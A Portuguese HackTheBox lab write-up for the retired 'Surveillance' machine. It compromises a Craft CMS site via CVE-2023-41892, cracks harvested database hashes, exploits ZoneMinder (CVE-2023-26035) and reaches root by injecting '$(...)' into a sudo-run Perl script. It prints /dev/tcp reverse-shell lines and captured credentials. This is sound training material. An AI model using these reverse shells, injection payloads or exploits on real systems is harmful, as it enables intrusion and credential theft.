HackTheBox - Writeup Surveillance [Retired]
Tags: security, hackthebox, perl, cybersecurity
Published: 2024-04-20 15:29:02

##### Hackthebox

Neste writeup iremos explorar uma máquina linux de nível medium chamada **Surveillance** que aborda as seguintes vulnerabilidades e técnicas de exploração:

- **CVE-2023-41892 - Remote Code Execution**
- **Password Cracking com hashcat**
- **CVE-2023-26035 - Unauthenticated RCE**
- **Command Injection**

Iremos iniciar realizando uma varredura em nosso alvo a procura de portas abertas:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# nmap -sV --open -Pn 10.129.45.83 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-11 19:11 EST
Nmap scan report for 10.129.45.83
Host is up (0.27s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

```

Com isso podemos notar que existem duas portas, a porta 22 do ssh e a 80 que esta rodando um nginx.<br>
O nginx é um servidor web e proxy reverso, vamos acessar nosso alvo por um navegador.

Quando acessamos somos redirecionados para **http://surveillance.htb**, vamos adicionar em nosso **/etc/hosts**.<br>
Com isso temos a seguinte págine web:


![Surveillance.htb](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/tzlm9f0z0q4254ggh9ea.png)

Se trata de um site de uma empresa de segurança e monitoramento que dispõe de câmeras, controle de acessos e etc.<br>
Agora iremos em busca de endpoints e diretórios utilizando o gobuster:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# gobuster dir -w /usr/share/wordlists/dirb/big.txt -u http://surveillance.htb/ -k 
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://surveillance.htb/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.4
[+] Timeout:                 10s
===============================================================
2023/12/11 19:12:59 Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 200) [Size: 304]
/admin                (Status: 302) [Size: 0] [--> http://surveillance.htb/admin/login]
/css                  (Status: 301) [Size: 178] [--> http://surveillance.htb/css/]
/fonts                (Status: 301) [Size: 178] [--> http://surveillance.htb/fonts/]
/images               (Status: 301) [Size: 178] [--> http://surveillance.htb/images/]
/img                  (Status: 301) [Size: 178] [--> http://surveillance.htb/img/]
/index                (Status: 200) [Size: 1]
/js                   (Status: 301) [Size: 178] [--> http://surveillance.htb/js/]
/logout               (Status: 302) [Size: 0] [--> http://surveillance.htb/]
/p13                  (Status: 200) [Size: 16230]
/p1                   (Status: 200) [Size: 16230]
/p10                  (Status: 200) [Size: 16230]
/p15                  (Status: 200) [Size: 16230]
/p2                   (Status: 200) [Size: 16230]
/p3                   (Status: 200) [Size: 16230]
/p7                   (Status: 200) [Size: 16230]
/p5                   (Status: 200) [Size: 16230]
/wp-admin             (Status: 418) [Size: 24409]
Progress: 20469 / 20470 (100.00%)
===============================================================

```
Aqui temos alguns endpoints interessantes, dentre eles temos o **/admin**. Aqui conseguimos identificar a CMS que o site foi criado, podemos constatar que se trata de um **Craft CMS**:


![Surveillance.htb](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/9zuwoy9b7c4ee8wfghlk.png)

De acordo com o próprio site do **Craft CMS**, o Craft é um CMS flexível e fácil de usar para criar experiências digitais personalizadas na web e fora dela.

Buscando por vulnerabilidades encontramos a [CVE-2023-41892](https://blog.calif.io/p/craftcms-rce) que é um Remote Code Execution


- https://securityonline.info/researcher-to-release-poc-exploit-for-critical-craft-cms-rce-cve-2023-41892-bug/?expand_article=1
- poc: https://gist.github.com/to016/b796ca3275fa11b5ab9594b1522f7226

Aqui alteramos a Poc para que consigamos explorar a vulnerabilidade para realizar o upload do arquivo e executar os comandos remotos.<br>
Agora com acesso ao shell:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# python3 CVE-2023-41892.py http://surveillance.htb/
[-] Get temporary folder and document root ...
[-] Write payload to temporary file ...
[-] Trigger imagick to write shell ...
[-] Done, enjoy the shell
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Como temos um shell com poucos recursos com esse shell vamos abrir em outra aba o pwncat, que é um shell com diversas funções:

```bash
┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
```

Agora vamos criar um arquivo chamado **rev.sh** com o seguinte conteúdo e executar:

```
$ cat /tmp/rev.sh
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
$ bash /tmp/rev.sh
```

Com isso temos nosso reserve shell no pwncat:

```bash
┌──(root㉿kali)-[/home/kali]
└─# pwncat-cs -lp 9001
[16:57:07] Welcome to pwncat 🐈!                                                                                                     __main__.py:164
[17:00:52] received connection from 10.129.39.90:48380                                                                                    bind.py:84
[17:00:57] 0.0.0.0:9001: upgrading from /usr/bin/dash to /usr/bin/bash                                                                manager.py:957
[17:01:00] 10.129.39.90:48380: registered new host w/ db                                                                              manager.py:957
(local) pwncat$                                                                                                                                     
(remote) www-data@surveillance:/var/www/html/craft/web/cpresources$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

```

Com acesso podemos realizar uma enumeração e visualizando os usuários:

```bash
(remote) www-data@surveillance:/var/www/html/craft$ grep -i bash /etc/passwd
root:x:0:0:root:/root:/bin/bash
matthew:x:1000:1000:,,,:/home/matthew:/bin/bash
zoneminder:x:1001:1001:,,,:/home/zoneminder:/bin/bash
```
Aqui temos três usuários: **matthew**, **zoneminder** e **root**.

Buscando arquivos sensíveis encontramos o arquivo .env, que como o nome sugere é um arquivo contendo variáveis e seus valores, que a aplicação utiliza:

```bash
(remote) www-data@surveillance:/var/www/html/craft$ cat .env
# Read about configuration, here:
# https://craftcms.com/docs/4.x/config/

# The application ID used to to uniquely store session and cache data, mutex locks, and more
CRAFT_APP_ID=CraftCMS--070c5b0b-ee27-4e50-acdf-0436a93ca4c7

# The environment Craft is currently running in (dev, staging, production, etc.)
CRAFT_ENVIRONMENT=production

# The secure key Craft will use for hashing and encrypting data
CRAFT_SECURITY_KEY=2HfILL3OAEe5X0jzYOVY5i7uUizKmB2_

# Database connection settings
CRAFT_DB_DRIVER=mysql
CRAFT_DB_SERVER=127.0.0.1
CRAFT_DB_PORT=3306
CRAFT_DB_DATABASE=craftdb
CRAFT_DB_USER=craftuser
CRAFT_DB_PASSWORD=CraftCMSPassword2023!
CRAFT_DB_SCHEMA=
CRAFT_DB_TABLE_PREFIX=

# General settings (see config/general.php)
DEV_MODE=false
ALLOW_ADMIN_CHANGES=false
DISALLOW_ROBOTS=false

PRIMARY_SITE_URL=http://surveillance.htb/
```

Enumerando as portas abertas no host alvo notamos que existe um **mysql** na porta **3306** e outra aplicação na porta **8080**, ambas rodando localmente:

```bash
(remote) www-data@surveillance:/var/www/html/craft$ netstat -nltp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.53:53           0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      991/nginx: worker p
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -
(remote) www-data@surveillance:/var/www/html/craft$
```

Com os dados que conseguimos podemos acessar o banco de dados:

```sql
(remote) www-data@surveillance:/var/www/html/craft$ mysql -u craftuser -h 127.0.0.1 -P 3306 -p
Enter password:
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 20621
Server version: 10.6.12-MariaDB-0ubuntu0.22.04.1 Ubuntu 22.04

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| craftdb            |
| information_schema |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use craftdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [craftdb]> show tables;
+----------------------------+
| Tables_in_craftdb          |
+----------------------------+
| addresses                  |
| announcements              |
| assetindexdata             |
| assetindexingsessions      |
| assets                     |
| categories                 |
| categorygroups             |
| categorygroups_sites       |
| changedattributes          |
| changedfields              |
| content                    |
| craftidtokens              |
| deprecationerrors          |
| drafts                     |
| elements                   |
| elements_sites             |
| entries                    |
| entrytypes                 |
| fieldgroups                |
| fieldlayoutfields          |
| fieldlayouts               |
| fieldlayouttabs            |
| fields                     |
| globalsets                 |
| gqlschemas                 |
| gqltokens                  |
| imagetransformindex        |
| imagetransforms            |
| info                       |
| matrixblocks               |
| matrixblocks_owners        |
| matrixblocktypes           |
| migrations                 |
| plugins                    |
| projectconfig              |
| queue                      |
| relations                  |
| resourcepaths              |
| revisions                  |
| searchindex                |
| sections                   |
| sections_sites             |
| sequences                  |
| sessions                   |
| shunnedmessages            |
| sitegroups                 |
| sites                      |
| structureelements          |
| structures                 |
| systemmessages             |
| taggroups                  |
| tags                       |
| tokens                     |
| usergroups                 |
| usergroups_users           |
| userpermissions            |
| userpermissions_usergroups |
| userpermissions_users      |
| userpreferences            |
| users                      |
| volumefolders              |
| volumes                    |
| widgets                    |
+----------------------------+
63 rows in set (0.001 sec)

MariaDB [craftdb]> desc users;
+----------------------------+---------------------+------+-----+---------+-------+
| Field                      | Type                | Null | Key | Default | Extra |
+----------------------------+---------------------+------+-----+---------+-------+
| id                         | int(11)             | NO   | PRI | NULL    |       |
| photoId                    | int(11)             | YES  | MUL | NULL    |       |
| active                     | tinyint(1)          | NO   | MUL | 0       |       |
| pending                    | tinyint(1)          | NO   | MUL | 0       |       |
| locked                     | tinyint(1)          | NO   | MUL | 0       |       |
| suspended                  | tinyint(1)          | NO   | MUL | 0       |       |
| admin                      | tinyint(1)          | NO   |     | 0       |       |
| username                   | varchar(255)        | YES  | MUL | NULL    |       |
| fullName                   | varchar(255)        | YES  |     | NULL    |       |
| firstName                  | varchar(255)        | YES  |     | NULL    |       |
| lastName                   | varchar(255)        | YES  |     | NULL    |       |
| email                      | varchar(255)        | YES  | MUL | NULL    |       |
| password                   | varchar(255)        | YES  |     | NULL    |       |
| lastLoginDate              | datetime            | YES  |     | NULL    |       |
| lastLoginAttemptIp         | varchar(45)         | YES  |     | NULL    |       |
| invalidLoginWindowStart    | datetime            | YES  |     | NULL    |       |
| invalidLoginCount          | tinyint(3) unsigned | YES  |     | NULL    |       |
| lastInvalidLoginDate       | datetime            | YES  |     | NULL    |       |
| lockoutDate                | datetime            | YES  |     | NULL    |       |
| hasDashboard               | tinyint(1)          | NO   |     | 0       |       |
| verificationCode           | varchar(255)        | YES  | MUL | NULL    |       |
| verificationCodeIssuedDate | datetime            | YES  |     | NULL    |       |
| unverifiedEmail            | varchar(255)        | YES  |     | NULL    |       |
| passwordResetRequired      | tinyint(1)          | NO   |     | 0       |       |
| lastPasswordChangeDate     | datetime            | YES  |     | NULL    |       |
| dateCreated                | datetime            | NO   |     | NULL    |       |
| dateUpdated                | datetime            | NO   |     | NULL    |       |
+----------------------------+---------------------+------+-----+---------+-------+
27 rows in set (0.001 sec)

MariaDB [craftdb]> select admin,username,email,password from users;
+-------+----------+------------------------+--------------------------------------------------------------+
| admin | username | email                  | password                                                     |
+-------+----------+------------------------+--------------------------------------------------------------+
|     1 | admin    | admin@surveillance.htb | $2y$13$FoVGcLXXNe81B6x9bKry9OzGSSIYL7/ObcmQ0CXtgw.EpuNcx8tGe |
+-------+----------+------------------------+--------------------------------------------------------------+
1 row in set (0.000 sec)
```

No entanto, não tivemos sucesso tentando quebrar a hash de usuário.<br>
Continuando a enumeração localizamos um arquivo de backup do banco de dados:

```bash
(remote) www-data@surveillance:/var/www/html/craft/storage$ cd backups/
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 28K
drwxrwxr-x 2 www-data www-data 4.0K Oct 17 20:33 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ unzip surveillance--2023-10-17-202801--v4.4.14.sql.zip
Archive:  surveillance--2023-10-17-202801--v4.4.14.sql.zip
  inflating: surveillance--2023-10-17-202801--v4.4.14.sql
(remote) www-data@surveillance:/var/www/html/craft/storage/backups$ ls -alh
total 140K
drwxrwxr-x 2 www-data www-data 4.0K Dec 12 02:17 .
drwxr-xr-x 6 www-data www-data 4.0K Oct 11 20:12 ..
-rw-r--r-- 1 www-data www-data 111K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql
-rw-r--r-- 1 root     root      20K Oct 17 20:33 surveillance--2023-10-17-202801--v4.4.14.sql.zip

```

E aqui temos outro tipo de hash para o usuário:

```bash
INSERT INTO `users` VALUES (1,NULL,1,0,0,0,1,'admin','Matthew B','Matthew','B','admin@surveillance.htb','39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec','2023-10-17 20:22:34',NULL,NULL,NULL,'2023-10-11 18:58:57',NULL,1,NULL,NULL,NULL,0,'2023-10-17 20:27:46','2023-10-11 17:57:16','2023-10-17 20:27:46');
```

Esse tipo de hash é o **SHA256** e aqui podemos utilizar o hashcat para quebrar a senha, utilizando o valor **1400** para o tipo de hash e especificando a wordlist **rockyou.txt**:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# hashcat -m 1400 matthew-hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
...

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344389
* Bytes.....: 139921546
* Keyspace..: 14344389

39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c9f35c675770ec:starcraft122490

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1400 (SHA2-256)
Hash.Target......: 39ed84b22ddc63ab3725a1820aaa7f73a8f3f10d0848123562c...5770ec
Time.Started.....: Mon Dec 11 21:32:28 2023 (2 secs)
Time.Estimated...: Mon Dec 11 21:32:30 2023 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  1596.7 kH/s (0.13ms) @ Accel:256 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 3552256/14344389 (24.76%)
Rejected.........: 0/3552256 (0.00%)
Restore.Point....: 3551232/14344389 (24.76%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: starfish789 -> starbowser
Hardware.Mon.#1..: Util: 42%

Started: Mon Dec 11 21:32:04 2023
Stopped: Mon Dec 11 21:32:31 2023
```
E aqui conseguimos a senha do usuário **admin**, que é o pertencente a **Matthew B**. Esse usuário existe no servidor como vimos em nossa enumeração inicial.
Via ssh conseguimos acesso com o usuário **matthew**!

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh matthew@surveillance.htb
matthew@surveillance.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Tue Dec 12 02:34:21 AM UTC 2023

  System load:  0.08935546875     Processes:             233
  Usage of /:   85.1% of 5.91GB   Users logged in:       0
  Memory usage: 16%               IPv4 address for eth0: 10.129.45.83
  Swap usage:   0%

  => / is using 85.1% of 5.91GB


Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


Last login: Tue Dec  5 12:43:54 2023 from 10.10.14.40
```
E assim conseguimos a user flag.

```bash
matthew@surveillance:~$ ls -a
.  ..  .bash_history  .bash_logout  .bashrc  .cache  .profile  user.txt
matthew@surveillance:~$ cat user.txt
b4ddc33ff47b1d8534c59a7609b48f13
``` 

### Movimentação lateral

Agora que temos acesso ssh com o usuário **matthew** vamos novamente realizar uma enumeração em busca de uma forma de escalar privilégios para root.<br>
Analisando novos arquivos em busca de dados sensíveis conseguimos os seguintes dados de acesso a outro banco de dados:

```bash
-rw-r--r-- 1 root zoneminder 3503 Oct 17 11:32 /usr/share/zoneminder/www/api/app/Config/database.php
		'password' => ZM_DB_PASS,
		'database' => ZM_DB_NAME,
		'host' => 'localhost',
		'password' => 'ZoneMinderPassword2023',
		'database' => 'zm',
				$this->default['host'] = $array[0];
			$this->default['host'] = ZM_DB_HOST;
```

Estes dados são pertencentes a uma aplicação chamada **Zoneminder**. O zoneminder é uma aplicação open source para monitoramento via circuito fechado de televisão, cameras de segurança basicamente.
Um ponto interessante é que temos outro usuário chamado **zoneminder** e uma aplicação rodando na porta **8080**

Buscando por vulnerabilidades conhecidas para o **zoneminder** encontramos a **[CVE-2023-26035](https://nvd.nist.gov/vuln/detail/CVE-2023-26035)**

A CVE se trata de um **Unauthorized Remote Code Execution.** Na ação de realizar um snapshot não é validado se a requisição tem permissão para executar, que espera um ID busque um monitor existente, mas permite que seja passado um objeto para criar um novo. A função **TriggerOn** chamada um **shell_exec** usando o ID fornecido, gerando assim um RCE.

Para conseguimos executar precisamos criar um túnel para que a aplicação local consiga ser acessada de nossa máquina, para isso vamos utilizar o ssh:

```bash
┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# ssh -L 8081:127.0.0.1:8080 matthew@surveillance.htb
matthew@surveillance.htb's password: 
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-89-generic x86_64)
```

Iremos utilizar neste writeup esta [POC](https://github.com/rvizx/CVE-2023-26035).
Primeiramente iremos utilizar o [pwncat](https://github.com/calebstewart/pwncat) para ouvir na porta 9002:

```bash
┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
```

Com o repositório devidamente clonado em nossa máquina executaremos da seguinte forma:

```bash
┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance/CVE-2023-26035]
└─# python3 exploit.py -t http://127.0.0.1:8081 -ip 10.10.14.174 -p 9002
[>] fetching csrt token
[>] recieved the token: key:f3dbd44dfe36d9bf315bcf7b9ad29a97463a4bb7,1702432913
[>] executing...
[>] sending payload..
[!] failed to send payload
```

Mesmo com a mensagem de falha no envio do payload temos o seguinte retorno em nosso pwncat:

```bash
┌──(root�kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9002
[21:01:10] Welcome to pwncat 🐈!                                                                                                 __main__.py:164
[21:01:55] received connection from 10.129.44.183:43356                                                                               bind.py:84
[21:02:04] 10.129.44.183:43356: registered new host w/ db                                                                         manager.py:957
(local) pwncat$                                                                                                                                 
(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ ls -lah /home/zoneminder/
total 20K
drwxr-x--- 2 zoneminder zoneminder 4.0K Nov  9 12:46 .
drwxr-xr-x 4 root       root       4.0K Oct 17 11:20 ..
lrwxrwxrwx 1 root       root          9 Nov  9 12:46 .bash_history -> /dev/null
-rw-r--r-- 1 zoneminder zoneminder  220 Oct 17 11:20 .bash_logout
-rw-r--r-- 1 zoneminder zoneminder 3.7K Oct 17 11:20 .bashrc
-rw-r--r-- 1 zoneminder zoneminder  807 Oct 17 11:20 .profile
```

Conseguindo assim shell como o usuário **zoneminder**. Mais uma vez iremos realizar uma enumeração.<br>
Atráves do comando **sudo** conseguimos visualizar um comando que o usuário **zoneminder** consegue executar com permissões de root:

```bash
(remote) zoneminder@surveillance:/usr/share/zoneminder/www$ sudo -l
Matching Defaults entries for zoneminder on surveillance:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zoneminder may run the following commands on surveillance:
    (ALL : ALL) NOPASSWD: /usr/bin/zm[a-zA-Z]*.pl *
```

O usuário pode executar qualquer script que esteja no diretório **/usr/bin** que inicie seu nome com **zm** e finalize com a extensão **.pl** que é referente a linguagem **perl**. Também podemos passar paramêtros.

Aqui estão todos os scripts que conseguimos executar como usuário root:

```bash
(remote) zoneminder@surveillance:/home/zoneminder$ ls -alh /usr/bin/zm*.pl
-rwxr-xr-x 1 root root  43K Nov 23  2022 /usr/bin/zmaudit.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmcamtool.pl
-rwxr-xr-x 1 root root 6.0K Nov 23  2022 /usr/bin/zmcontrol.pl
-rwxr-xr-x 1 root root  26K Nov 23  2022 /usr/bin/zmdc.pl
-rwxr-xr-x 1 root root  35K Nov 23  2022 /usr/bin/zmfilter.pl
-rwxr-xr-x 1 root root 5.6K Nov 23  2022 /usr/bin/zmonvif-probe.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmonvif-trigger.pl
-rwxr-xr-x 1 root root  14K Nov 23  2022 /usr/bin/zmpkg.pl
-rwxr-xr-x 1 root root  18K Nov 23  2022 /usr/bin/zmrecover.pl
-rwxr-xr-x 1 root root 4.8K Nov 23  2022 /usr/bin/zmstats.pl
-rwxr-xr-x 1 root root 2.1K Nov 23  2022 /usr/bin/zmsystemctl.pl
-rwxr-xr-x 1 root root  13K Nov 23  2022 /usr/bin/zmtelemetry.pl
-rwxr-xr-x 1 root root 5.3K Nov 23  2022 /usr/bin/zmtrack.pl
-rwxr-xr-x 1 root root  19K Nov 23  2022 /usr/bin/zmtrigger.pl
-rwxr-xr-x 1 root root  45K Nov 23  2022 /usr/bin/zmupdate.pl
-rwxr-xr-x 1 root root 8.1K Nov 23  2022 /usr/bin/zmvideo.pl
-rwxr-xr-x 1 root root 6.9K Nov 23  2022 /usr/bin/zmwatch.pl
-rwxr-xr-x 1 root root  20K Nov 23  2022 /usr/bin/zmx10.pl
```

Foi necessário descobrir o que cada script faz, no entanto, fica mais simples quando olhamos esta **[documentação](https://zoneminder.readthedocs.io/en/1.32.3/userguide/components.html)**.

O foco foi tentar explorar scripts que podemos inserir dados, ou seja, scripts que aceitem parâmetros do usuário.<br>
Outro ponto importante é que se for inserido o payload e ele for executado no inicialmente o mesmo será feito como usuário **zoneminder**.

Precisamos que nosso payload seja carregado e executado posteriormente, de forma que seja executado pelo usuário **root**.<br>
Dentre os scripts nos temos o **zmupdate.pl** que é responsável por checar se existem updates para o ZoneMinder e ira executar **migrations** de atualização. No entanto o mesmo realiza um backup do banco utilizando o **mysqldump**, comando esse que recebe input do usuário (usuário e senha) e executa como root.


Inicialmente vamos criar um arquivo chamado **rev.sh** com o seguinte conteúdo:
```bash
#!/bin/bash
sh -i 5<> /dev/tcp/10.10.14.229/9001 0<&5 1>&5 2>&5
```

E localmente em nossa máquina vamos utilizar o pwncat para ouvir na porta 9001:
```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
```

Agora iremos inserir no input do script o comando **'$(/home/zoneminder/rev.sh)'** que será salvo como variável exatamente da forma como esta, sem executar, devido as aspas simples que faz com que os caracteres especiais sejas lidos literalmente.<br>
Executaremos da seguinte forma:

```bash
(remote) zoneminder@surveillance:/home/zoneminder$ sudo /usr/bin/zmupdate.pl --version=1 --user='$(/home/zoneminder/rev.sh)' --pass=ZoneMinderPassword2023

Initiating database upgrade to version 1.36.32 from version 1

WARNING - You have specified an upgrade from version 1 but the database version found is 1.26.0. Is this correct?
Press enter to continue or ctrl-C to abort : 

Do you wish to take a backup of your database prior to upgrading?
This may result in a large file in /tmp/zm if you have a lot of events.
Press 'y' for a backup or 'n' to continue : y
Creating backup to /tmp/zm/zm-1.dump. This may take several minutes.

```

A senha do banco é a mesma que conseguimos anteriormente. E assim temos o seguinte retorno em nosso pwncat:

```bash
┌──(root㉿kali)-[/home/kali/hackthebox/machines-linux/surveillance]
└─# pwncat-cs -lp 9001
[17:14:01] Welcome to pwncat 🐈!                                                              __main__.py:164
[17:18:06] received connection from 10.129.42.193:39340                                            bind.py:84
[17:18:10] 0.0.0.0:9001: normalizing shell path                                                manager.py:957
[17:18:12] 0.0.0.0:9001: upgrading from /usr/bin/dash to /bin/bash                             manager.py:957
[17:18:14] 10.129.42.193:39340: registered new host w/ db                                      manager.py:957
(local) pwncat$                                                                                              
(remote) root@surveillance:/home/zoneminder# id
uid=0(root) gid=0(root) groups=0(root)
```
Conseguimos shell como root! Podemos buscar a root flag!

```bash
(remote) root@surveillance:/home/zoneminder# ls -a /root
.  ..  .bash_history  .bashrc  .cache  .config	.local	.mysql_history	.profile  root.txt  .scripts  .ssh
(remote) root@surveillance:/home/zoneminder# cat /root/root.txt 
4e69a27f8fc2279a0a149909c8ff2af4
```
Um ponto interessante agora que estamos como usuário root e visualizar nos processos como foi executado o comando de **mysqldump**:

```bash
(remote) root@surveillance:/home/zoneminder# ps aux | grep mysqldump
root        3035  0.0  0.0   2888  1064 pts/3    S+   22:18   0:00 sh -c mysqldump -u$(/home/zoneminder/rev.sh) -p'ZoneMinderPassword2023' -hlocalhost --add-drop-table --databases zm > /tmp/zm/zm-1.dump
```

Como planejamos o valor foi mantido inicialmente, somente na segunda execução que interpretou o caracter especial executando o comando.<br>
E assim finalizamos a máquina **Surveillence**!


![Pwned!](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4e1d69yu3egxaaoskehc.png)